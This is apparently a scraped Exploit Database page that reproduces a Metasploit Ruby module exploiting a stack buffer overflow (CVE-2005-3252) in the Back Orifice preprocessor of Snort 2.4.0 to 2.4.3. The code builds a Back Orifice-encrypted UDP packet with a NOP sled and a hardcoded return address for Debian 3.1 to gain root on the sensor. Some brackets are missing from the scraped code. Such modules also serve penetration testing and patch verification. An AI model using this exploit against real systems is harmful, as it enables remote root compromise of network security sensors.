Snort Back Orifice – Pre-Preprocessor Remote (Metasploit)

Exploit Database
146 阅读

作者： Metasploit

日期： 2010-07-03
类别：
- remote
平台：
- linux
来源：https://www.exploit-db.com/exploits/16834/

100

101

102

103

104

105

106

107

108

109

# $Id: snortbopre.rb 9669 2010-07-03 03:13:45Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::Udp

def initialize(info = {})

super(update_info(info,

'Name' => 'Snort Back Orifice Pre-Preprocessor Remote Exploit',

'Description'=> %q{

This module exploits a stack buffer overflow in the Back Orifice pre-processor module

included with Snort versions 2.4.0, 2.4.1, 2.4.2, and 2.4.3. This vulnerability could

be used to completely compromise a Snort sensor, and would typically gain an attacker

full root or administrative privileges.

'Author' => 'KaiJern Lau <xwings [at] mysec.org>',

'License'=> BSD_LICENSE,

'Version'=> '$Revision: 9669 $',

'References' =>

[

['CVE', '2005-3252'],

['OSVDB', '20034'],

['BID', '15131'],

['URL','http://xforce.iss.net/xforce/alerts/id/207'] ,

'Payload'=>

{

'Space'=> 1073, #ret : 1069

'BadChars' => "\x00",

'Targets'=>

[

# Target 0: Debian 3.1 Sarge

[

'Debian 3.1 Sarge',

{

'Platform' => 'linux',

'Ret'=> 0xbffff350

}

'DefaultTarget' => 0,

'DisclosureDate' => 'Oct 18 2005'))

# Configure the default port to be 9080

register_options(

[

Opt::RPORT(9080),

], self.class)

end

def msrand(seed)

@holdrand = 31337

end

def mrand()

return (((@holdrand=@holdrand*(214013 & 0xffffffff)+(2531011 & 0xffffffff))>>16)&0x7fff)

end

def bocrypt(takepayload)

@arrpayload = (takepayload.split(//))

encpayload = ""

@holdrand=0

msrand(0)

@arrpayload.each do |c|

encpayload +=((c.unpack("C*").map{ |v| (v^(mrand()%256)) }.join)).to_i.chr

end

return encpayload

end

def exploit

connect_udp

boheader =

"*!*QWTY?"+

[1096].pack("V")+ # Length ,thanx Russell Sanford

"\xed\xac\xef\x0d"+ # ID

"\x01"# PING

filler =

make_nops(1069 -(boheader.length + payload.encode.length))

udp_sock.write(

bocrypt(boheader+payload.encode+filler+[target.ret].pack('V'))

)

handler

disconnect_udp

end